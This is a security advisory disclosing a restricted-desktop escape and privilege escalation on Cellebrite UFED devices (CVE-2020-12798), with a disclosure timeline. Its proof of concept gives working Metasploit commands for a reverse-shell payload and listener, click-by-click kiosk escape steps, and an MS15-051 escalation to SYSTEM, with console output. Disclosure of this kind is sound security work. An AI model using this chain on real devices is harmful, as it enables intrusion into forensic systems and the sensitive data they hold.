Cellebrite UFED Desktop Escape / Privilege Escalation

Risk: Medium
Local: No
Remote: Yes

KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege Title: Cellebrite Restricted Desktop Escape and Escalation of User Privilege Advisory ID: KL-001-2020-002 Publication Date: 2020.05.14 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-002.txt 1. Vulnerability Details Affected Vendor: Cellebrite Affected Product: UFED Affected Version: 5.0 - Platform: Embedded Windows CWE Classification: CWE-269: Improper Privilege Management, CWE-20: Input Validation Error CVE ID: CVE-2020-12798 2. Vulnerability Description Cellebrite UFED device implements local operating system policies that can be circumvented to obtain a command prompt. From there privilege escalation is possible using public exploits. 3. Technical Description The Cellebrite UFED device implements local operating system policies which are designed to limit access to operating system functionality. These include but may not be limited to: 1. Preventing access to dialog such as Run, File Browser, and Explorer. and 2. Preventing access to process and application management tools such as Task Manager and the Control Panel. These policies can be circumvented by using functionality that is permitted by the policy governing the use of the user desktop. A user can leverage the Wireless Network connection string to select certificate based authentication, which then enables file dialogs that are able to be used to launch a command prompt. Following this, privileges can be elevated using off the shelf and publicly available exploits relevant to the specific Windows version in use. 4. Mitigation and Remediation Recommendation The vendor has informed KoreLogic that this vulnerability is not present on devices manufactured "at least since 2018." The vendor was uncertain of the exact version number that remediated this attack vector. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2020.03.05 - KoreLogic submits vulnerability details to Cellebrite. 2020.03.17 - Cellebrite acknowledges receipt and the intention to investigate. 2020.04.16 - KoreLogic requests an update on the status of the vulnerability report. 2020.04.19 - Cellebrite responds, notifying KoreLogic that the vulnerable dialog is not available on newer UFED releases. Indicates they will determine when the remediation was introduced. 2020.05.04 - KoreLogic requests an update from Cellebrite. 2020.05.05 - Cellebrite responds that they do not have the version number at hand, but does not request delaying public disclosure. 2020.05.11 - MITRE issues CVE-2020-12798. 2020.05.12 - 45 business-days have elapsed since the report was submitted to Cellebrite. 2020.05.14 - KoreLogic public disclosure. 7. Proof of Concept Begin by using the msfvenom binary to create a meterpreter payload that will initiate a remote connection to a C2. Copy the payload to a USB drive. Following this, use the msfconsole binary to create a C2 connection handler with the multi/handler functionality. $ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe LHOST=[REDACTED] LPORT=8888 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes Saved as: payload.exe $ sudo mount -o rw /dev/sda1 a/ $ sudo cp payload.exe a/ $ sync $ sudo umount a/ $ msfconsole [snip] msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST [REDACTED] yes The listen address (an interface may be specified) LPORT 8888 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on [REDACTED]:8888 Now insert the USB drive where payload.exe resides into a target Cellebrite device. Next, follow the steps below: 1. Open the Wireless Network Connection screen by clicking on the WiFi icon in the bottom right hand corner of the screen. This should be next to the system clock. 2. Select "Change advanced settings" -- this will bring up a screen called Windows Network Connection Properties. Choose the Wireless Networks tab. 3. Under the Preferred networks section, click the Add button and then select the Authentication tab. Make sure "Enable IEEE 802.1x authentication for this network" is enabled. 4. Under EAP Type, select "Smart Card or other Certificate" and then click the Properties button. 5. Under Trusted Root Certificate Authorities click the View Certificate button. This will bring up a screen called Certificate, choose the Details tab and click the "Copy to File" button. This will bring up a screen called Certificate Export Wizard. 6. Click Next and select any of the available export format options. For example, choose the "DER encoded binary X.509" option and click next. 7. Instead of typing out a export path click the Browse button to open a file dialog. In the "File Name" box type: \WINDOWS\System32\ and under "Save as type" select the "All Files (*.*)" option. Hit the enter key. 8. Locate the cmd.exe file then drag and drop any DLL over it. For example, choose the clusapi.dll file located near the cmd.exe executable. This will open a Command Prompt screen as an unprivileged user. 9. Type the drive letter to change into the USB drive containing the payload.exe file. C:\windows\system32>D: D:\>payload.exe This results in a connection back into Metasploit. [*] Sending stage (180291 bytes) to [REDACTED] [*] Meterpreter session 2 opened ([REDACTED]:8888 -> [REDACTED]:1041) at 2020-01-29 11:41:05 -0800 msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: TOUCH-[REDACTED]\Operator An exploit for CVE-2015-1701 is loaded up and configured to run a local privilege escalation exploit against the unprivileged session and SYSTEM is obtained. msf5 exploit(windows/local/ms15_051_client_copy_image) > show options Module options (exploit/windows/local/ms15_051_client_copy_image): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Windows x86 msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ms15_051_client_copy_image) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ms15_051_client_copy_image) > set LPORT 8888 LPORT => 8888 msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST [REDACTED] LHOST => [REDACTED] msf5 exploit(windows/local/ms15_051_client_copy_image) > run [*] Started reverse TCP handler on [REDACTED]:8888 [*] Launching notepad to host the exploit... [+] Process 3936 launched. [*] Reflectively injecting the exploit DLL into 3936... [*] Injecting exploit into 3936... [*] Exploit injected. Injecting payload into 3936... [*] Payload injected. Executing exploit... [*] Sending stage (180291 bytes) to [REDACTED] [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Meterpreter session 3 opened ([REDACTED]:8888 -> [REDACTED]:1045) at 2020-01-29 11:48:15 -0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

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